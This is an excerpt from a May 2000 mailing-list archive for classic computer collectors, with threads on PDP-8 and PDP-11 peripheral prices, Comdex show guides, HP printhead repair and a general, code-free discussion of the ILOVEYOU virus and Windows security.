crashes at all. And I do have experience with other OS's, I also run BeOS on my machine, I also run Solaris, Netware, VMS, RT-11, OS-32, Infoshare, CP/M, MacOS, UnixWare, and HP-UX. I'd say VMS is my favorite, BeOS is up there, same with UnixWare + Win 98, with Linux, Netware, and MacOS being my all-time least favorites. I wouldn't even consider running a Linux machine unless there was money in it for me ;p Anyway, I've now added some of what I hate, going against the entire message I was saying, but anyway, how about having the list a bit more on topic? Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From allisonp at world.std.com Fri May 5 15:14:04 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: Message-ID: > Anyway. It was just strange that they were emphasizing that basically all > the world's email systems were brought down because of this thing without > even noting things such as alternatives that wouldn't have these > problems....instead trying to scare the public into consuming more > unecessary software to patch up a leaky operating system with third party > products instead of encouraging people to get a brain and exercise their > free-market will to force product improvement. Well, I agree. However I run 40+ clients and three servers inhouse and NO internet connections save for some client systems with modems. Why? Only a few people need to interact with the outside world! Further, yes we do run MS w95 even Office97 but there is some sense to the fact that the most recent version of IE is only 4.01? Why, becuse IE401 doesn't ahve all the widgets that a business doesnt need. Also if your running a business why would you users need CHAT and instant messaging ans a universal thing? People for the most part know this OS is weak in the security and outlook is not only a fat pig it's a security hole yet Netscape isn't used (or long list of other mailers). With our old well behind the leader we are more immune as a result. If you work at it Even w95 can be improved security wise. In the end the real issue is this has been widely known for over 3years and still it's a hole big enough to run a bus through. All the other OSs are also not immune, just you can get support or fix them yourself. I get the FreeBSD security notices and they have the same problem with app ports creating holes where the OS is tight. As IT people I'd say it's wise to consider that security is not an OS only responsability. Allison From allisonp at world.std.com Fri May 5 15:17:32 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:30 2005 Subject: value of RK05 In-Reply-To: <20000505155150.A30766@dbit.dbit.com> Message-ID: > I called Compaq and asked about the RX8E/M8357, and it seems it's no longer > available. Too bad, it was around $40 *really* recently... Foo, it never occured to me to try that path to get one for mine... I do hae the rx01 and maybe the rx02 manuals. I ahve to check to see if the drawing for the rx8e are in them as it has to be a trivial board. Allison From allisonp at world.std.com Fri May 5 15:19:31 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:30 2005 Subject: value of RK05 In-Reply-To: <003901bfb6d9$745eedc0$fd83fea9@office> Message-ID: > It's RK8E, and yes, they are next to impossible to find - especially the > cable. That can be made... nothing special save for the DEC version is long and shielded. A shorter one unshielded works fine. Allison From mcguire at neurotica.com Fri May 5 15:33:00 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: Re: [KULUA] Nightline (fwd) (allisonp@world.std.com) References: Message-ID: <14611.12284.274143.849392@phaduka.neurotica.com> On May 5, allisonp@world.std.com wrote: > As IT people I'd say it's wise to consider that security is not an OS only > responsability. I'm not sure I'd agree completely. I believe one of the OS' responsibilities is SYSTEM security. As I sit here hammering away on my SGI, there's absolutely nothing Netscape can do to compromise the OS or the machine, other than my little corner of it and anything I have permissions to write to. We can't say the same about Windoze. I could go on and on about this, but we're all experienced professionals here...you see the point I'm driving at. -Dave McGuire From allisonp at world.std.com Fri May 5 15:35:53 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: <20000505155912.C30766@dbit.dbit.com> Message-ID: > One of the "news" websites (www.abcnews.com maybe?) had a nice list of > "things you can do to protect yourself from email viruses", and I thought > it was very interesting that "avoid M$ products!!!" wasn't on the list. Well no MS is a workable solution but when you have to have some compatability MS can work if (and only IF) applied with some care. Think about it, who NEEDS IE5.0? Who needs instantmessaging, Chat, VBS, Active-x controls? WHY???? I run NT4.0 sp4/workstation, It's ok and security if you make the effort is good, not VMS but nothing like w9x. I even got two copies of loveletter and all I had to do in outlook express was delete it. Sure I also have auto-open disabled too, thats good sense. I use office97 at work, never install Outlook, it's fat and slow most users never use all the features. Even those of us that run or like OS know that the latest and greatest is least safe. That even applies to VMS... some of us remember VMS5.x--> Security patch -4H. > It's too bad the net has turned into such an appliance. In the old days, > each site often implemented their own TCP/IP stack and SMTP/FTP/etc. servers > from scratch, so even if they had security flaws they weren't well-known. security by obscurity. Ok but the growth would be severely crippled and interoperability worse. > in a fake version banner in his wu.ftpd just so the crackers would be more > likely to leave him alone, worth a shot! the key here is not what was done but, that something was done at all, not hanging out a sign that says hit me. How many sites even read up on how to secure linux, freeBSD, or NT? No I'm not a MS lover but don't blame the cow for soggy cereal. MS is only part of the problem by not addressing known holes. The users that install the carpet bombed AOL disks and install teh latest widgets deserve the blame too for what they get. Allison From west at tseinc.com Fri May 5 15:39:08 2000 From: west at tseinc.com (Jay West) Date: Sun Feb 27 18:51:30 2005 Subject: paging Derek Peschel Message-ID: <00bb01bfb6d1$f6c6b160$d402a8c0@tse.com> Derek, please contact me via email at jlwest@tseinc.com (not my normal address) regarding the list server, can't seem to find your personal email address for list server updates. Others - please excuse the bandwidth intrusion! Jay West From healyzh at aracnet.com Fri May 5 15:43:23 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:30 2005 Subject: What a weekend! In-Reply-To: <20000505155432.B30766@dbit.dbit.com> from "John Wilson" at May 05, 2000 03:54:32 PM Message-ID: <200005052043.NAA20226@shell1.aracnet.com> > The one in Boston (or is it 50% in Cambridge?) MA used to have a tiny > capsule of some kind (Mercury or Gemini?) but I never understood whether > it was the real thing, or a mock-up. They had/have a lunar lander too but > that's definitely fake. > > John Wilson > D Bit Probably a fake, OMSI had/has a capsule that I'm fairly sure is fake. Years ago it was a really cool exhibit. Last I saw though it was pretty trashed out and I believe they were letting people climb in it. Of course OMSI has really gone down hill in the last several years, and are now nothing more than a childrens museum. Zane From lemay at cs.umn.edu Fri May 5 15:51:18 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:30 2005 Subject: PDP8/E peripherals Message-ID: <200005052051.PAA13508@caesar.cs.umn.edu> Ok, i finally found the guy at his office (we work for the same department here at the university ;) and had a chat. Looks liek he might try to get me the pdp8/e cpu (without any boards) and the boards if he can find the box that they are in. This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a reasonable amount, AND pick this stuff up in minneapolis, AND do it pretty quickly? I know Dectape units are worth about $1000, so this is a worthwile thing to get if you have teh space for it (the curse of working for the university, is that they dont pay me enough to be able to afford the space for all thsi stuff)... If you want this, speak up and i'll go see what i can arrange with him. i want the cpu, and boards if they are found (my 8/e has no interface boards, and front panel is damaged, and power cable is cut, as you might recall...) -Lawrence LeMay From gaz_k at lineone.net Fri May 5 15:46:52 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:31 2005 Subject: Enough with the MS bashing, please References: <20000505201254.23500.qmail@hotmail.com> Message-ID: <003701bfb6d3$f78e0e20$942d63c3@gazk> Will Jennings >I'm using Win > 98SE right now, and our NT server has been running continuously for about 4 > years now, no crashes at all. And I do have experience with other OS's, I > also run BeOS on my machine, This made me think of the possibility that the I Love You virus could affect other systems. Does the virus only rename files on the host drive or can it spread to a hardfile mounted on Windows desktop or network connections? If someone wrote a virus that had this possibility it could wipe out all machines. If you were monitoring the machines at the time the Ethernet hub would light up like a Christmas tree. But what would happen if, like many people you leave the machine on all day. Suddenly the Amiga, Mac, Atari, and whatever you have connected to a network don't seem so safe... -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From gaz_k at lineone.net Fri May 5 15:52:28 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:31 2005 Subject: VHS to MPG/AVI/Quicktime conversion? References: <200005022156.OAA05336@opus.allegro.com> Message-ID: <003901bfb6d4$a0629340$942d63c3@gazk> Stan Sieler wrote: > 3) backplane (i.e., card plugs into your system) I would recommend staying away from any Mirovideo TV card. Windows 98/NT support is pretty bad and they tend to go out of sync no matter how much memory you have. Try a Hauppages (sp?) WinTV- for ?90 you can even get radio capabilities. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From dylanb at sympatico.ca Fri May 5 17:42:40 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:31 2005 Subject: Enough with the MS bashing, please References: <20000505201254.23500.qmail@hotmail.com> <003701bfb6d3$f78e0e20$942d63c3@gazk> Message-ID: <005301bfb6e3$37f68f00$fd83fea9@office> ----- Original Message ----- From: Gareth Knight To: Sent: Friday, May 05, 2000 4:46 PM Subject: Re: Enough with the MS bashing, please > Will Jennings > >I'm using Win > 98SE right now, and our NT server has been running > continuously for about 4 > > years now, no crashes at all. And I do have experience with other OS's, I > > also run BeOS on my machine, > The idea behind writing a virus is to hit the *masses*, fast and hard. Windows is the most used client O/S by far. If DEC or Linux was used by everyone at home then considerable effort would have gone into making a virus for those platforms. Can you imagine someone wasting the time to write a virus for Atari or Amiga? It would infect what? 2 computers maybe? John From jimw at agora.rdrop.com Fri May 5 16:04:29 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:31 2005 Subject: What a weekend! In-Reply-To: <200005052043.NAA20226@shell1.aracnet.com> Message-ID: On Fri, 5 May 2000 healyzh@aracnet.com wrote: > Probably a fake, OMSI had/has a capsule that I'm fairly sure is fake. Years > ago it was a really cool exhibit. Last I saw though it was pretty trashed > out and I believe they were letting people climb in it. Of course OMSI has > really gone down hill in the last several years, and are now nothing more > than a childrens museum. I'll echo your sentiments about OMSI, but while also trying to stay (marginally) on topic I can confirm that the Gemini capsule is 'fake'. The capsule on display was the grand prize in a contest (sponsored by Monogram IIRC) a good number of years ago, was won by a local person, and donated to OMSI. Hmmm... why do I seem to recall it having its utility stage (skirt?) when it was new? Or perhaps just a phantom memory... (unintentional S-100 joke) Heck, I remember entering the contest myself! Hmm... this still seems only marginally near topic... Ko, try this! How many others lurking the list got their start in the OMSI computer lab? On the Straight-8 in the lab? On the PDP-11/45 that started Oregon Software? Knows where to find Rusty Whitney? Knows who he is?? Cares??? There. That should be closer. B^} -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From cisin at xenosoft.com Fri May 5 16:18:35 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:31 2005 Subject: COMDEX Show Guides Message-ID: The fall (Las Vegas) Comdex show guide is about 500 pages of slick material. It has contact info for exhibitors in the form of company name, address, phone number, and a sentence or two of hype identifying their products for over 1000 companies. It's a good way to find companies (as kind of a worldwide yellow pages), or to keep track of who was around and when. One copy is free to anyone attending AT Comdex; sometimes it's easy, sometimes hard, to get extras. Interface Group used to sell them by mail for about $75 I have some extras to get rid of from most of the Fall Comdex's since 86. $1 each (pickup here); or $5 each including shipping; or will trade a dozen for the 1984 one. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From ard at p850ug1.demon.co.uk Fri May 5 16:01:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: <200005051933.OAA08700@caesar.cs.umn.edu> from "Lawrence LeMay" at May 5, 0 02:33:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 494 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/3d2c84a8/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 5 16:06:50 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: from "allisonp@world.std.com" at May 5, 0 04:17:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 413 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/052a7fde/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 5 16:08:56 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: from "allisonp@world.std.com" at May 5, 0 04:19:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 663 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/78eb723f/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 5 16:12:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: <003901bfb6d9$745eedc0$fd83fea9@office> from "johnb" at May 5, 0 05:32:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1188 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/9bd03287/attachment.ksh From marvin at rain.org Fri May 5 16:34:34 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:31 2005 Subject: COMDEX Show Guides References: Message-ID: <39133E6A.10452298@rain.org> "Fred Cisin (XenoSoft)" wrote: > > One copy is free to anyone attending AT Comdex; sometimes it's easy, > sometimes hard, to get extras. Interface Group used to sell them by mail > for about $75 Well, a bit devious perhaps, but each registration is entitled to one book, and there is nothing to say that the person must actually be there. From lemay at cs.umn.edu Fri May 5 16:45:20 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: from Tony Duell at "May 5, 2000 10:12:43 pm" Message-ID: <200005052145.QAA16631@caesar.cs.umn.edu> > > > > > > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > > > to a PDP8/e? > > > > > > > It's RK8E, and yes, they are next to impossible to find - especially the > > cable. > > Are they? Both my PDP8s (an 8/e and an 8/a) came with them fitted. I > think I've even got another one _somewhere_... Ditto for the cables. > > -tony > What do you want for them? -Lawrence LeMay From dylanb at sympatico.ca Fri May 5 18:30:33 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 References: Message-ID: <006301bfb6e9$e8648440$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Friday, May 05, 2000 5:12 PM Subject: Re: value of RK05 > > > I'm wondering of anyone knows whatthe value of an RK05 would be? I'm > > thinking > > > of buying a rack full of stuff in order to get the parts i want, and then > > > sell of the rest. As i'll be getting a pair of RK05's for free with the > > > PDP-11/45 system I'm getting for free, if I was to get 2 more RK05's I > > > cant see needing that many... > > > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > $7000 to $9000 depending on config. A system is generally worth a lot more > > with RK05s or RX02s installed > > _How Much_???? This is unpleasantly rediculous. > > You mean the 11/45 in the next room (with 2 RK05s, 2 RL01s, 2 RL02s, 2 > RK07s, A->D, D->A, serial ports, magtape, etc) is worth real money? Darn > it :-(. Very much so. I notice you didn't list FP. If it has that option then add another $1000. PDP-11/45 minicomputers *running* are rather rare. I have visited quite a few web sites and have found most collectors that *do* have them don't have them running. Drives like RK07s and RL01/RL02 are worth nothing. It would be worth more money if you had a PC05 and running DOS-11. Magtape - only DECTape is worth $$$. A/D,D/A always adds value. > > I now know that I am never going to be able to expand it or add any more > drives. Not at those prices :-( > > > > > > > > > > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > > > to a PDP8/e? > > > > > > > It's RK8E, and yes, they are next to impossible to find - especially the > > cable. > > Are they? Both my PDP8s (an 8/e and an 8/a) came with them fitted. I > think I've even got another one _somewhere_... Ditto for the cables. > Very much so. I'll tell you what. Go out today and try and find another one... e-mail me in a month, then a year after looking. Only hope is to find one in a PDP-8A. http://www.pdp8.com/ john > -tony > > > From doug at blinkenlights.com Fri May 5 16:47:52 2000 From: doug at blinkenlights.com (Doug Salot) Date: Sun Feb 27 18:51:31 2005 Subject: Enough with the MS bashing, please In-Reply-To: <003701bfb6d3$f78e0e20$942d63c3@gazk> Message-ID: On Fri, 5 May 2000, Gareth Knight wrote: > This made me think of the possibility that the I Love You virus could affect > other systems. Does the virus only rename files on the host drive or can it > spread to a hardfile mounted on Windows desktop or network connections? If you've got Samba running on a unix server, and a Samba-exported filesystem is mounted on some lame Windows box, and a lame Windows user decides to activate this Microsoft-enabled virus, then sure, Microsoft lameness can infect non-MS systems to some extent. Cheers, Doug From cisin at xenosoft.com Fri May 5 17:09:53 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:31 2005 Subject: COMDEX Show Guides In-Reply-To: <39133E6A.10452298@rain.org> Message-ID: > "Fred Cisin (XenoSoft)" wrote: > > One copy is free to anyone attending AT Comdex; sometimes it's easy, > > sometimes hard, to get extras. Interface Group used to sell them by mail > > for about $75 On Fri, 5 May 2000, Marvin wrote: > Well, a bit devious perhaps, but each registration is entitled to one book, > and there is nothing to say that the person must actually be there. The free distribution of them is AT the show. How do you get the item that is distributed at the show without actually being there? What you CAN do is to go back through the lines again, and register multiple times, such as with different names or addresses. 'Course THAT is only for the CURRENT year, which is less interesting, and not classic. OR, for a negligible payment, you can get my collectors copies of old ones that are no longer available. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From healyzh at aracnet.com Fri May 5 17:24:03 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: from "Tony Duell" at May 05, 2000 10:12:43 PM Message-ID: <200005052224.PAA00800@shell1.aracnet.com> > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > $7000 to $9000 depending on config. A system is generally worth a lot more > > with RK05s or RX02s installed > > _How Much_???? This is unpleasantly rediculous. Now look at the *commercial*, or in other words *real* value, and remember that PDP-11's are still in use. A system selling for that price had *better* include software with *Valid* licenses!!! Zane From dylanb at sympatico.ca Fri May 5 19:11:08 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 References: <200005052224.PAA00800@shell1.aracnet.com> Message-ID: <001001bfb6ef$947e3000$fd83fea9@office> ----- Original Message ----- From: To: Sent: Friday, May 05, 2000 6:24 PM Subject: Re: value of RK05 > > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > > $7000 to $9000 depending on config. A system is generally worth a lot more > > > with RK05s or RX02s installed > > > > _How Much_???? This is unpleasantly rediculous. > > Now look at the *commercial*, or in other words *real* value, and remember > that PDP-11's are still in use. A system selling for that price had > *better* include software with *Valid* licenses!!! > No, that's going-rate collector prices. And, no, I don't know anyone who has ever *paid* for any license for any old DEC equipment for personal use. DOS-11 and old RT11 v1 is almost 30 years old - no one cares about a license for such things. I don't know what these systems sell commercially for. http://www.pdp8.com/ john > Zane > From ard at p850ug1.demon.co.uk Fri May 5 17:08:32 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: <006301bfb6e9$e8648440$fd83fea9@office> from "johnb" at May 5, 0 07:30:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2288 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/444c2084/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 5 17:25:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: HP calculator thermal printheads (HP82143, etc) Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1207 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/62326e08/attachment.ksh From dylanb at sympatico.ca Fri May 5 19:21:54 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 References: Message-ID: <001601bfb6f1$1509ca80$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Friday, May 05, 2000 6:08 PM Subject: Re: value of RK05 > > > > RK05s go for around $500 each *restored*. A restored PDP-11/45 is about > > > > $7000 to $9000 depending on config. A system is generally worth a lot > > more > > > > with RK05s or RX02s installed > > > > > > _How Much_???? This is unpleasantly rediculous. > > > > > > You mean the 11/45 in the next room (with 2 RK05s, 2 RL01s, 2 RL02s, 2 > > > RK07s, A->D, D->A, serial ports, magtape, etc) is worth real money? Darn > > > it :-(. > > > > Very much so. I notice you didn't list FP. If it has that option then add > > Yes, I've got the FP11-B floating point. And the KT11-C MMU. And all the > printsets and technical manuals. > > > another $1000. PDP-11/45 minicomputers *running* are rather rare. I have > > This one needs a _very_ minor repair that I will get round to doing soon > (just a minor problem with a frontpanel switch). The logic is fine. > > > visited quite a few web sites and have found most collectors that *do* have > > them don't have them running. > > > > Drives like RK07s and RL01/RL02 are worth nothing. It would be worth more > > Speak for yourself. This is the sort of attitude that I really hate. Of > course they're worth something. For one thing the RLxx is one of the first > embedded servo drives ever. And for another, they are darn fine storage > devices... > I am speaking from an "actual" collector value point of view. I use the drives too.. No one wants them, DEC made too many of them so they are not rare, hence , they are worth no $$$$$. They are not even worth the shipping. The PDP-11/45 in 1972 was shipped with RF,RS, PC05 type devices. People want the *original* configurations.. not a bunch of *new* peripherals. Ie: SCSI boards, etc. > But of course I don't care about value at all. The only reason I have this > lot is to hack about with. > Exactly, they are worth "use" value.. they just have no $$$ value - which is what I am after. > > money if you had a PC05 and running DOS-11. Magtape - only DECTape is worth > > I've only got 3rd party paper tape on the PDP11s. > Yikes. Again, collectors like the original stuff *when* it was available. There are a lot of 3rd party devices that are worth $$$ (8 peripherals). > On my desk there's a (working) PDP8/e with RX01, TU56 (single drive > version) DECtape and a sort-of PC04 (converted, reversably, from a PC05). > > > $$$. A/D,D/A always adds value. > > > > > > It's RK8E, and yes, they are next to impossible to find - especially the > > > > cable. > > > > > > Are they? Both my PDP8s (an 8/e and an 8/a) came with them fitted. I > > > think I've even got another one _somewhere_... Ditto for the cables. > > > > > > > Very much so. I'll tell you what. Go out today and try and find another > > one... e-mail me in a month, then a year after looking. Only hope is to find > > Well, I'm unlikely to find one. In my current position, I don't get to > rescue much minicomputer stuff.... > Exactly, so if you wanted one then it would cost you considerable $$$. Same thing as collecting/restoring old cars, boats, radios, ??? > > one in a PDP-8A. > > Probably :-(. Which is, of course, where it would stay if I found one > like that. > Unfortunatly, PDP-8As aren't worth much $$$ (maybe $100 - so not worth restoring) so they would be stripped and the cards would be placed in an 8E. BTW: I have an 8A I stripped for the interfaces if anyone wants it for the cost of shipping. [that's box PDP-8/A-500, CPU and memory] http://www.pdp8.com john > -tony > > From allisonp at world.std.com Fri May 5 16:53:06 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:31 2005 Subject: [KULUA] Nightline (fwd) Message-ID: <003801bfb6de$75b62710$6c64c0d0@ajp166> > I'm not sure I'd agree completely. I believe one of the OS' >responsibilities is SYSTEM security. As I sit here hammering away >on my SGI, there's absolutely nothing Netscape can do to compromise >the OS or the machine, other than my little corner of it and anything >I have permissions to write to. We can't say the same about Windoze. Yep but windoes (8x that is) is basiclly like running from your superuser account. Would NS be as safe for the system there? This is a fundemental problem of the dos/win3.1/win9x series, they operate with few if any protections. There are other OSs where this is the case as well. Do I like it no, but W95 alone is hard to hurt from on the net add IE5.0 and thats a whole can of worms. Allison From allisonp at world.std.com Fri May 5 17:04:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 Message-ID: <003b01bfb6de$77dab4c0$6c64c0d0@ajp166> >> Also, is it next to impossible to get the rx8e needed to hook the Rk05's >> to a PDP8/e? > >I think you're mixing up two options here. The thread did. John W mentioned the RX8e and I commented on that. He may have meant the RK8E. >The RX8e is a single card to link RX01 and RX02 units to the Omnibus. I know. >The RK8e is a 3 board set and a cable with a paddleboard on the end to >link RK05 drives to the Omnibus. Also known. >My luck seem to indicate that the RK8e is more common than the RX8e (in >that I was given 3 RK8es and had to buy an RX8e for real money :-(), but >that may not be typical. Same here! I'd like to get a RX8E or RX28E to use with my RX02. Allison From allisonp at world.std.com Fri May 5 17:00:34 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:31 2005 Subject: Enough with the MS bashing, please Message-ID: <003a01bfb6de$772c7360$6c64c0d0@ajp166> >If you've got Samba running on a unix server, and a Samba-exported >filesystem is mounted on some lame Windows box, and a lame Windows user >decides to activate this Microsoft-enabled virus, then sure, Microsoft >lameness can infect non-MS systems to some extent. No surprize. W9x filesystems (FAT16/32) have no real protections save for the samba box validating the connecting host has permissions. It's nature of the filesystem. NTFS is slightly better as the ganularity of control is like unix in that can restrict what is done with the file (readonly for example). Allison From allisonp at world.std.com Fri May 5 16:57:30 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:31 2005 Subject: Enough with the MS bashing, please Message-ID: <003901bfb6de$767383a0$6c64c0d0@ajp166> >This made me think of the possibility that the I Love You virus could affect >other systems. Does the virus only rename files on the host drive or can it Loveletter can't. There are worms/virus out there that can. If a network drive (regardless of the host OS) has an open point of attach say like a fileserver that accessable point is vunerable though it's limited byt the OS how far that can extend to. I looked at Linux/samba and that would be limited to what samba provided to the network so the OS would be safe(unless there was overlap) but you could lose a lot of data. Allison From pete at dunnington.u-net.com Fri May 5 18:16:32 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:31 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "HP calculator thermal printheads (HP82143, etc)" (May 5, 23:25) References: Message-ID: <10005060016.ZM2817@indy.dunnington.u-net.com> On May 5, 23:25, Tony Duell wrote: > I have an HP82143 printer (the HP41 dedicated printer) with a broken > printhead. > > Today I found an 'HP Digest' with an article about these printers. > Aparently the conductors on the printhead are aluminium, which explains > why I couldn't (and still can't) solder to them. And none of the normal > tricks for soldering aluminium (like : Put a drop of oil on it, scrape > the oxide layer off under the oil, immediately try to tin it with solder) > work on this thin film. > > Has anyone here managed to mend a printhead like this? No, but could you use silver-loaded conductive paint? That's what we used to use to repair the printed tracks on membrane keyboards (including Sinclair ZX keyboards). I've used it for a few similar things, and at least one type can be soldered to, with care, after curing. I used to buy it in 3g bottles from R.S., part no 555-156, current stock number apparently is 186-3593 or 101-5621, costs just over a fiver. -- Pete Peter Turnbull Dept. of Computer Science University of York From ard at p850ug1.demon.co.uk Fri May 5 18:20:58 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 In-Reply-To: <001601bfb6f1$1509ca80$fd83fea9@office> from "johnb" at May 5, 0 08:21:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2691 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/03c78946/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 5 18:24:16 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:31 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005060016.ZM2817@indy.dunnington.u-net.com> from "Pete Turnbull" at May 5, 0 11:16:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1492 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/4c07a72c/attachment.ksh From broth at heathers.stdio.com Sat May 6 18:49:22 2000 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 18:51:31 2005 Subject: PDP8/E peripherals References: <200005052051.PAA13508@caesar.cs.umn.edu> Message-ID: <3914AF82.D1AA881A@heathers.stdio.com> So THATS why you didn,t get back to me about a trade for the DECtape drive. Now you want a grand for it. Interesting how one person says a TU56 is worth a $1000 and now its law. Its only worth $1000 if someone pays you a $1000. Good luck... Lawrence LeMay wrote: > Ok, i finally found the guy at his office (we work for the same department > here at the university ;) and had a chat. Looks liek he might try to get > me the pdp8/e cpu (without any boards) and the boards if he can find the > box that they are in. > > This leaves 2 RK05's and a Dectape unit.. is anyone willing to pay a > reasonable amount, AND pick this stuff up in minneapolis, AND do it > pretty quickly? I know Dectape units are worth about $1000, so this > is a worthwile thing to get if you have teh space for it (the curse > of working for the university, is that they dont pay me enough to > be able to afford the space for all thsi stuff)... > > If you want this, speak up and i'll go see what i can arrange with > him. i want the cpu, and boards if they are found (my 8/e has no > interface boards, and front panel is damaged, and power cable is > cut, as you might recall...) > > -Lawrence LeMay From dylanb at sympatico.ca Fri May 5 20:24:08 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:31 2005 Subject: value of RK05 References: Message-ID: <003601bfb6f9$c8923440$fd83fea9@office> ----- Original Message ----- From: Tony Duell To: Sent: Friday, May 05, 2000 7:20 PM Subject: Re: value of RK05 > > > > Drives like RK07s and RL01/RL02 are worth nothing. It would be worth > > more > > > > > > Speak for yourself. This is the sort of attitude that I really hate. Of > > > course they're worth something. For one thing the RLxx is one of the first > > > embedded servo drives ever. And for another, they are darn fine storage > > > devices... > > > > > > > I am speaking from an "actual" collector value point of view. I use the > > Fortunately, I am not, never have been, and never will be a collector... > Agreed. > > drives too.. No one wants them, DEC made too many of them so they are not > > rare, hence , they are worth no $$$$$. They are not even worth the shipping. > > Again, IMHO, it depends. I remember spending considerable time/effort to > track down my RK07s. Yes, I seriously wanted them. Still do. > Agreed. You *wanted* RK07s for a specific use. > > The PDP-11/45 in 1972 was shipped with RF,RS, PC05 type devices. People want > > Actually, my 11/45 is an early one (it has the older boards and power > cabling). I happen to know that the original configuration included an > RK11-C (which I have, the one it came with), one RK05 (I don't have the > _original_ one) and a number of DJ11 serial ports 